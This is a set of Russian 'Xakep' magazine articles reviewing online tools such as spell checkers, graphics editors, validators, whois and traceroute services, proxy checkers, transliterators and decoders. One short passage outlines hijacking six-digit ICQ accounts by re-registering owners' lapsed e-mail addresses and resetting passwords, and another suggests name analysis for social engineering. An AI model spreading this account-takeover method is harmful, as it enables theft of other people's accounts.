В русском языке по самое не балуйся специфических терминов, определений и иностранных заимствований, с которыми ты можешь столкнуться на просторах Инета. Чтобы не напрягаться по поводу непонимания этих терминов и определений, существуют толковые словари, в которых все разжевывается и кладется в рот :). Искать словари, энциклопедии и справочники проще всего через крупные порталы. К примеру, залезаешь на http://encycl.yandex.ru, и в твоем распоряжении 13 (!) словарей и энциклопедий. А посетив Мир Энциклопедий (www.encyclopedia.ru/internet.html), ты получишь ссылки сразу на 47 (!) разнокалиберных словарей и энциклопедий по всему Инету с кратким описанием по каждой ссылке. Еще один неплохой портал - ГРАМОТА.РУ (http://slovari.gramota.ru). Посмотри все и выбери, что подойдет.

ПРОВЕРКА ОРФОГРАФИИ

Орфографические ошибки - глобальная проблема в Инете. Со стороны друзей и в чатах это простительно, но все равно коробит. При деловой переписке это уже недопустимо. Загружать каждый раз Word вовсе необязательно. Для этих целей можно задействовать ресурсы Инета. ОРФО-Online (www.informatic.ru/orfo_online.aspx) - прекрасная система проверки орфографии, работающая онлайн. Введенный на русском, английском или украинском языке текст обрабатывается, и все слова, в которых допущены орфографические ошибки, помечаются красным цветом. Исправляй и прогоняй еще раз. Если при последующей проверке скажет, что все пучком, можешь безбоязненно засылать текст адресату. Хотя сначала проверь пунктуацию ;).


Спецвыпуск Xakep, номер #030, стр. 030-074-4, СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

Андрей Каролик

Спецвыпуск Xakep, номер #030, стр. 030-074-4

Есть подобная забугровая проверка - SpellChecker (www.spellchecker.net/demos/resume.htm). Это демо-версия, но работает и хорошо :). Без напряга проверяет текст на 12 языках мира (русского нет), плюс для всех слов с орфографическими ошибками предлагает наиболее подходящие правильные версии, любую из которых можно двойным кликом тут же вставить в текст вместо ошибочного варианта.

ГРАФИЧЕСКИЕ РЕДАКТОРЫ

Благодаря стараниям MediaBuilder теперь существует полнофункциональный онлайновый редактор gif-файлов - GIFWorks (www.gifworks.com). И что уж совсем непохоже на забугровых разработчиков, проект совершенно бесплатный (!). Чтобы поюзать новое чудо, тебе понадобится браузер ИЕ или НетШкаф не ниже 3-ей версии с поддержкой JavaScript. Заходишь на www.gifworks.com, прогружается небольшой графический редактор с менюшками и рабочей областью. Можешь загрузить свою картинку (с винта или любого сайта), можешь использовать предложенные на сайте. Поддерживаются статические и анимированные gif-файлы. Возможности редактора далеки от фотошопа, но впечатляют. В редакторе предлагается более 40 (!) встроенных эффектов, инструменты масштабирования, поворота изображения, добавления прозрачности, оптимизации цветов и многое другое. Есть даже горячо любимое Undo ;). Внизу располагается полоска статуса, показывающая текущий размер gif-файла, его размеры и количество цветов. Жаль, что нельзя делать анимацию непосредственно из этой программульки и нельзя сделать коллаж из нескольких gif-файлов, работаешь только с одним. Когда надоест изгаляться над картинкой, свое творение можешь сохранить на винт или по фтп (тогда придется светить пароль). Всем, кто еще не видел эту фишку, советую поиграться ;).

ТРЕХМЕРНЫЕ БАННЕРЫ

Еще одно детище MediaBuilder - 3D Text Maker (www.3dtextmaker.com). Пошаговый конструктор, с помощью которого ты сделаешь себе прикольный текстовой анимированный баннер любого размера. В арсенале несколько сотен (!) шрифтов в 6 различных категориях, наглядный выбор цветов и куча настроек для анимации; размер баннера можно выбрать стандартный или произвольный. После сохранения можешь переслать в GIFWorks, чтобы надругаться еще больше :).

ГЕНЕРАТОРЫ ЛОГОТИПОВ

Отличный онлайн-конструктор CoolText (www.cooltext.com), на этот раз по логотипам и кнопкам. Все делается на основе готовых шаблонов с помощью удобных настроек. Шаблонов для кнопок маловато, и они какие-то убогие :), а вот шаблоны для логотипов (22 штуки) порадовали, плюс оригинальные шрифты (52 штуки) и симпатичные текстуры (118 штук). У каждого шаблона свои настройки, сохранять можно в трех форматах: gif (с прозрачностью или без), jpg или png (с прозрачностью или без). Экспериментируй!

HTML-ВАЛИДАТОРЫ

Если ты строчишь свою пагу исключительно в NotePad, то это не дает гарантии, что ты нигде не напортачил с тэгами. Поэтому стоит конечный хтмл-код проверять на корректность. Для этого существуют так называемые хтмл-валидаторы (от английского validate, утверждать), которые проверяют соответствие написанного хтмл-кода спецификациям W3C HTML и XHTML. Причем различают несколько валидаторов, предназначенных для HTML, CSS, RDF и XML. Тебе понадобится первый.


Спецвыпуск Xakep, номер #030, стр. 030-074-5, СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

Андрей Каролик

Спецвыпуск Xakep, номер #030, стр. 030-074-5

Проще всего делать проверку на сайте отца всей спецификации - W3C HTML Validation Service (http://validator.w3.org). Проверять можно хтмл-файл с винта или непосредственно в Инете, задавая к нему путь. Единственное, у W3C HTML Validation Service отчет проверки суховатый и не наглядный. Меня больше прет www.htmlhelp.org/tools/validator, тут тебя тыкают в каждую ошибку рожей, так что не пропустишь :). Тем более тут можно сделать проверку только по умершим ссылкам, это наиболее актуальная беда всех сайтов.

HitboxCentral (http://resources.hitbox.com/cgi-bin/page.cgi?tools/doc) умеет большее: проверяет на неработающие линки, на скорость загрузки и наличие мета-тэгов, есть проверка на грамматические ошибки, но в английских словах. В конце проверки ты получишь подробный отчет по 5 категориям: неработающие линки (Broken Links), ошибки в синтаксисе (HTML Syntax), ошибки в грамматике (Spelling), оценка скорости загрузки (Load Time) и наличие необходимых мета-тэгов (Meta Tags).

ПЕРЕКОДИРОВЩИКИ

Разные кодировки - извечная проблема чатов и почтовых переписок. Один пишет в KOI, другой в WIN, а третий вообще TRANSLITOM :). Можно долго ругаться матом, призывать писать левой рукой, но ситуация не изменится. Проще найти средства, которые помогали бы оперативно кодировать из одной кодировки в любую другую. И их в Инете хватает. Но я потому и оставил перекодировщиков напоследок, что писать про них не буду :). Из-за своей полезности они выведены в отдельную статью, которую ты найдешь на страницах этого же журнала.

Приятного тебе онлайнового существования!


Спецвыпуск Xakep, номер #030, стр. 030-078-1, ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

Matsutsu Gofufu

Спецвыпуск Xakep, номер #030, стр. 030-078-1

(matt@nm.ru)

Даже если ты не занимаешься хаком, а уж тем более если ты им занимаешься, часто приходится рыть инфу в Инете про домены, серваки, прятаться за анонимные прокся и пионерить шестизначные аси. Для этих целей написана туева хуча разных прог, но и без них можно обойтись. Итак, proxy- и mailchecker'ы, whois-, ping-, nslookup-сервисы, анонимные серферы и прочие крайне необходимые тулзяки в Сети. Понеслась, родимая!

Whois-сервисы

WhoIs-сервис получает регистрационную информацию о домене. То есть ты можешь узнать, кто владелец определенного домена, когда он был зарегистрирован, до какого времени делегирован, адрес службы техподдержки, днс-сервера и прочую полезную инфу.

Whois service | РосНИИРОС

http://www.ripn.net:8080/nic/whois/

Это хуиз-сервис админа домена .ру. Кроме получения инфы по домену второго уровня российской зоны, этот подопытный может рассказать тебе про адрес в доменах общего пользования (com, net, org, info, biz, name), про службу техподдержки, личность и организацию, зарегистрированные в РосНИИРОСе. И помни: если хочешь проверить доступность доменного имени для регистрации, в целях защиты от сквоттеров, пользуйся этим сервисом.

Whois Source - Domain Whois Search Tool!

http://www.whois.sc

Главной достопримечательностью www.whois.sc является способность искать доменные имена второго уровня по их части... Проще говоря, ты вводишь несколько букв домена, а он выдает все адреса, в которых встречается эта подстрока. Получается что-то типа поиска. Например, вводишь "xakep", а он тебе: cynep-xakep.org, xakep-ua.com, xakep.com и еще 73 домена второго уровня. xakep.ru, правда, в их число не входит - просматриваются только зоны .com, .net, .org, .info, .biz, .us. Нашел нужный тебе адрес - жми на зону и получай стандартный отчет whois-сервиса. Кроме того, можно выбирать область поиска (активные/не активные домены), а для каждого найденного домена отображается его состояние (зарегистрирован и активен, редирект; зарегистрирован, но нет паги; домен освобожден и т.д.).

Если не помнишь точно адрес, этот хуиз тебя выручит.

G E E K T O O L S: Whois Proxy

http://www.geektools.com/cgi-bin/proxy.cgi

Гиктулз попал в этот обзор за то, что выдает инфу по домену в ЛЮБОЙ зоне. Как он это делает? Коммерческая тайна... Но тебе я ее открою. Просто он напрямую общается с хуиз-серверами запрашиваемых зон. То есть, если ты вводишь xakep.ru, он обращается к роснииросовскому whois-серверу и спрашивает: "Кто такой xakep?". Если вводишь xakep.jo, он звонит в Иорданию и у тамошнего заведующего спрашивает: "WhoIs fucking xakep?". Специально для тебя Гиктулз может разузнать про домены в зонах com.ru, net.ru, pp.ru, msk.ru, spb.ru. Вот только с хуизами .tv, .fm и некоторых других доменов верхнего уровня ему найти общий язык, к сожалению, не удалось.

Прокся и их чекеры

Ну, что такое прокси - долгая история, да ты ее и сам знаешь. Так что никаких прелюдий - поехали!

PROXY-Checker

http://www.proxychecker.ru/

Нужны анонимные прокся? Не вопрос! Проверить список? Запросто! Провериться самому? Два пальца об асфальт! Единственное, что - тебе придется зарегистрироваться на proxychecker.ru. Здесь это быстро: от тебя требуются только мыло и пароль (2 раза). Зато, зарегистрировавшись, можешь проверять списки проксей, получаешь доступ к невпереннейшей базе анонимных и искажающих proxy-серверов, которую можно запросто слить себе на винт в виде списка айпишник:порт. Ну, а если тебе обломно регистрироваться, довольствуйся проверкой проксей по одному и просмотром инфы, которую легко получить, не задавая тебе лишних вопросов (по все тем же проксям).


Спецвыпуск Xakep, номер #030, стр. 030-078-2, ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

Matsutsu Gofufu

Спецвыпуск Xakep, номер #030, стр. 030-078-2

Проверка прокси-сервера на анонимность

http://www.samair.ru/proxy/proxychecker/

Если тебе напряжно регистрироваться и надо всего-то провериться на анонимность, рули сюда. После нажатия кнопки "YES" в самом верху страницы появится инфа: прозрачные твои прокси али нет. Ну, а внизу еще куча всякого бреда...

Mailchecker'ы

Что это за звери и с чем их едят? Если говорить об онлайновых мейлчекерах, то это нечто, похожее на любое шаровое мыло, но работающее с ЛЮБЫМ ящиком. Другими словами - это веб-интерфейс для твоего ящика (прововского, например) с доступом через pop3 или imap протоколы. Единственное, что тебе придется где-то пробить (кроме логина и пароля, естественно) - адрес поп- или имап-сервера.

easyPOP

http://www.easypop.de

Дас ист айне Дойче мейлчекер. И английского интерфейса здесь тоже нет. Нет возможности просмотра хедера сообщения и, подстава такая, проблемы с кириллицей в теме письма. Ну и хакер с ним. Зато изиПОП (не путать с ЗиЗиТоп!) сам распознает русский в теле мессаги и имеет самый простой интерфейс, что, несомненно, сказывается на скорости: ни картинок, ни баннеров. Даже содержимое Inbox'а отображается не в виде таблицы, а в виде списка. А теперь, во избежание незапланированного удаления писем, краткий мануал по пользованию (он же - урок немецкого):

Lesen - прочитать,

Loshen - удалить (как оказалось...),

Weitere - далее,

нечитабельная надпись сверху - новое письмо.

mail2web

http://www.mail2web.com

Вот мы и подобрались к мейлчекеру-интеллектуалу-полиглоту, который поддерживает англицкий, немецкий, иврит и даже (епрст, не может быть!) русский языки. Плюс к такому счастью - интеллектуальный вход в систему, который не требует от тебя даже знания адреса почтового сервера. Mail2web по твоему мылу сам пытается определить этот адрес. Но это теория - у меня он так и не заработал, пришлось рулить на "расширенный вход" (advanced) и вручную вводить адрес. Судя по всему, весь "интеллект" заключается в подстановке перед доменом "pop3" и "pop". Но, если логиниться через продвинутый вход, можно работать с imap-сервером.

В папке Inbox есть возможность искать мессагу по отправителю или теме, переключать язык интерфейса можно в любой момент, но вот под Оперой аттачить файлы к новому письму не получается - говорит, старая бродилка. И последний рекламный блок: никаких (почти) проблем с кириллическими темами!

Traceroute

Traceroute - это такая фишка, которая показывает путь, проходимый твоими ip-пакетами до запрашиваемого компа (не напрямую же они идут, когда набиваешь xakep.ru). Проблема онлайновых вариаций заключается в том, что узнать маршрут они могут только от своего сервака. Таким образом, о пути, проходимом от ТВОЕГО компа, ты можешь только догадываться...


Спецвыпуск Xakep, номер #030, стр. 030-078-3, ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

Matsutsu Gofufu

Спецвыпуск Xakep, номер #030, стр. 030-078-3

G E E K T O O L S: Traceroute

http://www.geektools.com/traceroute.php

Мы снова возвращаемся на Гиктулз.ком. Собственно, интересующего нас traceroute-сервиса этот сайт не представляет. На фига мы сюда приперлись? Есть у него другой плюс - приличная база трейсрутеров в разных странах мира: Сингапур, Индонезия, Эстония, Россия и еще двадцать пять стран. Всего 125 серверов. Из них российский только один :(. Зато американских 46!!! Но можно добавлять... российские ;).

Списки tracerout'ов

Гиктулз - отстой? Только один русский сервер? Ладно, вот тебе еще парочка ссылок. Может, они удовлетворят твои нечеловеческие потребности...

traceroutes.com (http://www.traceroutes.com/) - около 400 серверов, российских - 5.

Traceroute (http://www.ryston.cz/petr/traceroute3.html) - порядка 600 сайтов, 12 российских.

traceroue.org (http://www.traceroute.org/) - около 800 серверов в 61 стране мира, отечественных - 23.

VisualRoute Server Dulles, Virginia, USA

http://visualroute.visualware.com/

Ты надеялся увидеть здесь список с сотней русских traceroute-серверов? Я не оправдаю твои надежды ;). Сейчас я тебя познакомлю с он-лайновым аналогом neotrace или visualroute. Собственно, держит его в рекламных целях та же лавочка, что породила последнего. Для тех, кто не знаком с этими прогами, рекламирую: VisualRoute Server, кроме того что расскажет тебе о компах, через которые шел твой запрос и о задержках на каждом участке, нарисует тебе еще и график и покажет на карте мира, где твои ip-пакеты носило. Один недостаток: всю эту работу он проделает со своего сервака в Виржинии. И еще один: с одного айпишника можно отправлять на VisualRoute Server не больше 8 запросов.

Интернет в Одессе: Traceroute

http://www.internet.odessa.ua/trace.html

А если ты хочешь понять, что значат все эти цифры, которые и составляют, в общем-то, отчет tracerouter'а, набивай http://www.internet.odessa.ua/trace.html. Этот сайт, в контексте позапрошлого раздела, достопримечателен не столько возможностью трассировки с 10 точек, сколько именно простым и понятным мануалом по интерпретации полученных результатов (разбору полетов, я бы даже сказал).

Прочая дрянь

А теперь пройдемся по разным сайтам, не попавшим ни в один из предыдущих разделов, но представляющим не меньший интерес.

Netcraft Web Site Finder

http://www.netcraft.com/

Это поисковик веб-сайтов. Только ищет он не по содержимому сайта, а по его адресу. Получается что-то типа www.whois.sc: вводишь ему часть адреса, а он тебе выдает все зарегистрированные домены во ВСЕХ (и общих, и национальных) зонах - лишь бы адрес содержал твой запрос. Интересный факт: урлов, содержащих "xakep", Неткрафт знает всего на один больше, чем whois.sc... Подстава? Нет, просто этот товарищ не будет любить твои мозги из-за освобожденных доменов - только зарегистрированные на данный момент. Правда, сайта там может и не оказаться ;).


Спецвыпуск Xakep, номер #030, стр. 030-078-4, ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

Matsutsu Gofufu

Спецвыпуск Xakep, номер #030, стр. 030-078-4

А еще, не отходя от кассы, ты можешь узнать ось веб-сервера - только дай адрес!

Asechka.ru/base - online база primary e-mail на 6-значные ICQ

http://asechka.ru/base/

Хочешь шестизначную асю? Я тоже хочу ;). Первый шаг к угону этого раритета - узнать владельцев, вернее - их primary e-mail. Потом перебираешь все мыла, находишь незарегистрированное и регишь на себя. Дальше забываешь пароль, заказываешь его на теперь уже твое мыло, и антиквариат в кармане! Ну, это тема для отдельной статьи, а пока, собственно, база primary e-mail. База склепана в начале 2002 года и знает 516933 личностей, точнее - их адресов. asechka.ru/base ты уже набрал, теперь осталось ввести маску УИНа. Так же, как и при поиске файлов, можешь использовать "*" и "?". Если ищешь конкретного чела, составляй запрос как можно точнее - выдаются только первые 512. Ну, а если ты знаешь только мыло, набивай его - с ним тоже разберутся!

Комплексные обеды

Можно, на самом деле, все вышеперечисленные и многие другие сервисы найти в одном месте - и хуиз, и проксичекер, и пинг, и трейсрут - все в одной куче! А вот где искать эту кучу, сейчас узнаешь.

IonTail - сетевые утилиты

http://www.iontail.com/?p=utils

Этот товарищ сделает для тебя: whois, ip-whois, dig, ns lookup, port check и ping. Здешний dig никакого отношения к старому доброму digger'у не имеет, но заслуживает внимания - как whois-сервис - за то, что умеет копаться в зонах spb.ru, msk.ru, spb.su, msk.su и вытаскивать оттуда необходимую информацию. Еще одна удобная фишка - можно на одну страницу вывести результат работы всех доступных сервисов; просто введи имя домена и параметры для пинга и портчекера.

All Nettools: Network Tools

http://www.all-nettools.com/tools1.htm

All Nettools тоже выделяется своим whois-сервисом, носящим гордое название SmartWhois. Его фишка в том, что он выдает не стандартную инфу, а только страну, город и администратора, причем нарыть эти данные он может по домену третьего уровня и глубже. Наиболее полезен, имхо, СмартХуиз будет в познавательных целях.

Проксичекер здесь совсем простой, но проверку на анонимность все-таки делает. Если хочешь, тебе даже доложат, что твоя бродилка может про тебя рассказать любому желающему. Ну, а из стандартных сервисов здесь еще traceroute (только с их сервера, правда), ping и nslookup.

TOOLS-ON.NET

http://tools-on.net/net.shtml

Я бы это назвал грандиозной сходкой веб-тулзов. Кроме стандартных пинга со 120 точек, traceroute'а - с 30 (из которых 16 российских); whois-сервиса, поддерживающего мультиязычные домены; релей-чекера и проверки обновления страниц, на тулз-он.нет имеются утилиты для работы с ДНС, конвертер имя_хоста<=>ip, page autoreloader и еще паровоз разных утилей, включая фишку, проверяющую статус аськиного клиента и его время в сети.

А где еще можно узнать, что yandex.ru эквивалентен 3585393281? Теперь тебе не надо запоминать эти непонятные имена - пара цифр, и все!

Ну, а если ты пороешься в меню и обнаружишь там privacy tools, то сможешь воспользоваться проксичекером, анонимными серферами и мылерами, сканером портов и еще кучей всяких бесценных тулзов.


Спецвыпуск Xakep, номер #030, стр. 030-078-5, ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

ХАЦКЕРСКИЕ ТУЛЗЫ - сетевой арсенал взломщика

Matsutsu Gofufu

Спецвыпуск Xakep, номер #030, стр. 030-078-5

Вот, собственно, и все, что я хотел тебя рассказать... Хотя нет, еще одно: если ты сидишь в нете только из доиа - забей на это все, скачай ip-tools и не парься :)! До следующих встреч в эфире!


Спецвыпуск Xakep, номер #030, стр. 030-082-1, Translit rulit - онлайновые транслитераторы и почтовые декодеры

Translit rulit - онлайновые транслитераторы и почтовые декодеры

matt gophph (matt@nm.ru)

Спецвыпуск Xakep, номер #030, стр. 030-082-1

Говоришь, Shtirlitz форева? Ну, если он есть на винте, то, пожалуй, ты прав. А если ты завис в каком-нибудь компьютерном клубе, где кроме ослика ничего не имеется? Или, например, твой винт подвергся радикальным методикам лечения и чист теперь, как Хиросима 7 августа? А тут в срочном порядке надо декодировать мессагу от подруги или накалякать пару слов какому-нибудь у-меня-нет-русских-шрифтов ксакепу. Хотя, даже если все вышеперечисленное не про тебя, я думаю, ты найдешь в этом опусе пару интересных утилей!

Transliteratori

Первое отделение нашего сегодняшнего концерта посвящено транслитераторам. Это проги, которые переводят "дарова" в "darova", "комп" в "komp", а "eBay" в... "аукцион такой в Интернете". Нужны они, в основном, эмигрантам, которым без мазы наклеивать русские буквы на клаву или у которых просто нет кириллических шрифтов. Усаживайся поудобней, отключай звук мобилки и вникай!

Internet On-screen Russian Translit Translator

http://www.wowwi.orc.ru/cgi-bin/tt.cgi

Да, адрес этой паги набивать придется долго. Но некоторые фишки этот недостаток компенсируют. "Все очень просто": вводишь текст, нажимаешь Translit to Cyrillic или Cyrillic to Translit, ждешь децл (йо!), пока мы подумаем, и наблюдаешь в том же текстовом поле переваренную мессагу. Для обожателей крысы имеется достаточно удобная виртуальная клава, кстати говоря, единственная работающая среди транслитераторов. Еще ну очень оригинально здесь кодируется "Э" - "E'". Сделано это, имхо, для точного обратного перевода русский-транслит-русский (чтобы не перепутать ее с русской "Е").

Цифирица Translit - Транслит

http://www.cifirica.ru/

Очень простой и очень удобный двусторонний транслитератор. Просто вводишь текст и жмешь "конвертить". А он уж сам догадается, откуда и куда. Есть здесь краткий мануал: как надо набивать текст, чтобы он правильно конвертировался. Еще одна фишка этого транслитератора привлекла мое внимание часа на два: вводишь "durak", он отвечает: "Сам дурак". Плоская шутка? Тогда заходи и пробуй сам:

User not found :)

aaaaaaaaaaaaaaaaaaaa

100000000000000000000000 (смотри не обсчитайся с нулями)

fuck you

so you are pretty smart...

I lost my mind

john lennon

MySQL

putt off

huinday

idiot

speek to me

Да, и не забудь М и Ж половые девайсы с транслита на русский переконвертить.

Автоматический переводчик с русского языка в транслитерацию и назад

http://www.mobile-portal.kiev.ua/sms.phtml

Это, как можно догадаться по адресу, сайт, посвященный мобилам. Но размещенные здесь транслитераторы стoят, по крайней мере, одного абзаца в этом обзоре. Чем они заслужили такую честь? Конвертирование производится "на лету", но результат, в отличие от аналогов, появляется не в том же окне, убивая весь оригинальный текст, а в новом, сохраняя при этом ассоциативность. То есть, если ты пишешь "технология удобный, но...", а потом, порывшись в самоучителях по русскому языку, понимаешь, что технология-то удобнАЯ, возвращаешься ко второму слову и преспокойно меняешь "ый" на "ая"; конвертированный текст при этом исправно меняется на "udobnaya". Кроме того, данный пациент оперативно и адекватно реагирует на вставку текста из буфера и имеет клон, который умеет конвертировать в обратную сторону.


Спецвыпуск Xakep, номер #030, стр. 030-082-2, Translit rulit - онлайновые транслитераторы и почтовые декодеры

Translit rulit - онлайновые транслитераторы и почтовые декодеры

matt gophph (matt@nm.ru)

Спецвыпуск Xakep, номер #030, стр. 030-082-2

Translit.ru - кириллица forever!

http://www.translit.ru/

Самое лучшее в этом транслитераторе - адрес. Все остальное, имхо, чересчур накручено и малеха недоделано. Для ослопочитателей, правда, есть конвертирование транслит-русский "на лету", но направление придется выбирать вручную. Хотя можно просто юзать кнопари "в латиницу", "в кириллицу". Батоны работы с буфером подчиняются только ИА, а тех, кто на Опере или Нетшкафе, отправляют сразу на http://www.translit.ru/2. Никакого уважения!!! Заявленная виртуальная клава, по непонятным причинам, отказывается работать под любой бродилкой. Зато под ослом есть кнопки поиска на Яндексе и перевода конвертированного текста. Такой вот translit.ru...

ДЕЙНДЕПШ (декодеры)

Второе отделение нашего сегодняшнего концерта посвящено... да, именно ДЕЙНДЕПЮЛ. Это такие проги, которые декодируют разные нечитабельные заголовки статей и письма, превращая (если, конечно, получится) их в тешащий русский глаз текст. Используются они, как правило, для расшифровки мессаг, пришедших по мылу в непонятной кодировке. Прелюдия, часть 2, комплит. Вася, давай фанеру!

Почтовый декодер

http://www.artlebedev.ru/tools/decoder

http://decoder.design.ru

А, узрел в урле artlebedev и design.ru?! Да, этот он-лайновый почтовый декодер является проектом студии Артемия Лебедева и обещает работать с кодировками mac, koi, win, iso, dos. Хотя на практике идеально он работает только с вином и коятином (как, впрочем, и все остальные). К преимуществам можно отнести способность выстраивать цепочки декодирования типа koi->mac->iso->win->...->koi (ну, это я, конечно, загнул) и выдачу лога своих извратов. "Почтовый декодер" даже находит общий язык с транслитом. А вот издевательства в виде разных кодировок (или транслита и нерусского бреда) в одном сообщении он переносит плохо. Вернее, просто игнорирует.

Декодер

http://e-kazan.ru/decoder

Это, пожалуй, самый быстрый и самый простой он-лайновый декодировщик, который только можно придумать. Ничего лишнего: никаких рисунков и никому не нужных мануалов - краткое вступление и две кнопки, хотя можно было обойтись и одной ;). Зато этот декодер (единственный, по-моему) выдает несколько вариантов расшифровки мессаги, среди которых тебе куда легче, чем компу, выбрать наиболее подходящий.

Text converter

http://rebsys.ru/code.php

Главная достопримечательность этого декодера - возможность расшифровывать текст как в автоматическом, так и в ручном режиме (сам выбираешь, откуда и куда). Прямо на этой паге есть краткий хелп. Ну, а если ничего не поможет, можешь отфорвардить автору недекодируемое письмо - он самолично обещает им заняться.

Universal Cyrillic Converter

http://bluefir.net/ilya/cyrconv/cyrconv.html

Если ты знаешь, откуда и куда тебе надо конвертить текст, рули сюда. Universal Cyrillic Converter работает с кои, дос, вин, изо и транслитом. А еще он умеет декодировать файлы прямо с твоего винта и целые сайты. Просто вводишь урл, выбираешь исходную и конечную кодировки, и получай! Можешь даже сказать ему, что делать с линками: конвертировать, конвертировать локальные, ничего не конвертировать. Единственная проблема: не подружился он у меня с Оперой, пришлось звать ИА :(.


Спецвыпуск Xakep, номер #030, стр. 030-082-3, Translit rulit - онлайновые транслитераторы и почтовые декодеры

Translit rulit - онлайновые транслитераторы и почтовые декодеры

matt gophph (matt@nm.ru)

Спецвыпуск Xakep, номер #030, стр. 030-082-3

Занавес

Вот и подошел к концу наш сегодняшний концерт. Надеюсь, ты для себя выбрал транслитератор и декодер. Ну, а мой выбор - http://www.mobile-portal.kiev.ua/sms.phtml и http://e-kazan.ru/decoder. До следующих встреч, и поменьше тебе БЯЪЙНИ МЕДЕЙНДХПСЕЛНИ УСИМХ ;)...

Транслитераторы - проги, которые переводят "дарова" в "darova", "комп" в "komp", а "eBay" в... "аукцион такой в Интернете". Нужны они, в основном, эмигрантам, которым без мазы наклеивать русские буквы на клаву.

Заходи на cifirica.ru и конвертируй:

proba

aaaaaaaaaaaaaaaaaaaa

100000000000000000000000

fuck you

speek to me

И не забудь половые органы с транслита в русский переконвертить!

Shtirlitz форева, Shtirlitz форева! А умеет твой Штирлиц сайты декодировать? А вот Universal Cyrillic Converter умеет. И даже файл на твоем винте расшифрует, если хорошо попросишь.

Еще парочка транслитераторов и декодеров, не вошедших в обзор по идеологическим соображениям:

http://www.mymajesty.wallst.ru

http://wizard.zmail.ru/decoder

http://www.mtrros.msk.ru/decode.htm


Спецвыпуск Xakep, номер #030, стр. 030-084-1, УМНЫЕ ТУЛЗЫ - мозги в вебе

УМНЫЕ ТУЛЗЫ - мозги в вебе

MOOF

Спецвыпуск Xakep, номер #030, стр. 030-084-1

(moof@real.xakep.ru; http://moof.ru)

Уже давно сложилось мнение, что Интернет - это одно сплошное развлечение: анекдоты, веселые картинки. Однако кроме развлекухи в Интернете есть и куча полезных вещиц. Некоторые из них могут тебе пригодится, и вообще полезно расширять список своих букмарков. Я постараюсь тебе рассказать о нескольких полезных, умных утилитках, которые каждый день тебе, конечно, не пригодятся, но время от времени к их помощи прибегать приходится. Если ты готов, вооружился любимым браузером и быстрым Интернетом, тогда поехали!

Анализ фамилии

http://www.analizfamilii.ru/

Фоносемантический (во как!) анализ ника, фамилии или названия фирмы. Оказывается, имя, ник (или название) - как набор звуков - оказывают подсознательное влияние на твое отношение к человеку. Вот ты слышишь ник "Козел", и у тебя в подсознании сразу создается негативный образ. Фоносемантический анализ работает по принципу нашего подсознания. Программа анализирует ник или любое введенное слово по 25 различным показателям (хороший - плохой, светлый - темный, легкий - тяжелый и т.д.) и выдает табличку с теми ассоциациями, которые вызывает это слово у большинства людей. Получается, что, зная имя, можно составить примерный психологический портрет человека. Самое оно для занятий социальной инженерией. Заходи, пробуй, анализируй. Да, кроме того, на сайте можешь поискать своих однофамильцев.

Совместимость имен

http://astrolab.ru/cgi-bin/astrolog/anname.cgi

http://astrolab.ru/cgi-bin/astrolog/name.cgi

Еще один сайт для исследования имен. Так же, как и предыдущий сайт, умеет анализировать ники, названия. Однако алгоритм, похоже, другой. Я попробовал проанализировать слово "Хакер", вот результат: храбрый, громкий, гладкий, печальный. Непонятно только, почему печальный? :) Кроме информации об имени тут можно провести тест на совместимость имен. Достаточно их ввести и нажать на "Проверить". Проверяем совместимость слова "Хакер" и "Спец". Результат: совместимость 74%. Что ж, по-моему, неплохо.

Словарь Фамилий

http://www.rusfam.ru/

B еще одна полезная вещь, связанная с именами и фамилиями. Сайт содержит просто огромную базу фамилий с подробным описанием их значимости. Хотя официально сайт называется "Словарь русских фамилий", там иногда встречаются и не очень русские фамилии, и я думаю, он скоро перерастет в "Словарь фамилий народов мира" :). Словарь объясняет подробности происхождения фамилии и ее значение. Кроме словаря, на сайте есть ряд полезной информации. Например, в 1897 году у 75% населения России не было фамилий! Люди получали фамилии, когда попадали в армию. Самые характерные фамилии того времени: Смирновы (от команды "Смирно!") и Новиковы (новик - "новобранец, новый молодой солдат").

Биоритмы

http://goroskop.pp.ru/horoscope/bioritm/index.shtml

Замечательный сайт для определения биоритмов. Вводишь свое имя, дату рождения и получаешь данные на любой месяц любого года. С помощью этих самых биоритмов ты сможешь узнать о своем физическом, эмоциональном и интеллектуальном состоянии на определенный день. Кроме этого, на сайте есть гороскоп предыдущей жизни, совместимость имен, куча разных гороскопов и много других полезных вещиц. В общем, находясь некоторое время на сайте, можно узнать о себе много нового и необычного :).


Спецвыпуск Xakep, номер #030, стр. 030-084-2, УМНЫЕ ТУЛЗЫ - мозги в вебе

УМНЫЕ ТУЛЗЫ - мозги в вебе

MOOF

Спецвыпуск Xakep, номер #030, стр. 030-084-2

Совместимость биоритмов

http://vlas.narod.ru/test/biosov.htm

Рассчитал биоритмы для себя? Теперь просчитай совместимость своих биоритмов с биоритмами другого человека. Ты можешь сказать, что ты не веришь во всю эту чушь, но на самом деле это может пригодиться как веский довод при обсуждении некоторых проблем со своей подружкой ;).

День недели, в который ты родился

http://children.kulichki.net/igry/birthday.htm

Бесполезная, но умная утилитка. Определяет, какой день недели был в тот день, когда ты родился. Проверь скорее, может ты в понедельник родился? Я, например, родился в субботу :).

Все о твоем возрасте

http://www.re-date.com/index.php

На этом сайте ты сможешь узнать всю информацию о своем возрасте, а именно количество прожитых тобой минут, секунд, часов, дней и т.д. Для этого надо ввести день своего рождения и примерное время. Интересно то, что сайт выводит количество твоих лет, если бы ты был марсианином, например, или жил на другой планете. Кстати, почему мы празднуем день рождения раз в год? Почему бы не праздновать круглое количество минут или секунд? Вот, например, 6 июля 2004 года мне исполнится 700 000 000 секунд :). Отметим?

Психологические тесты

http://tests.holm.ru/

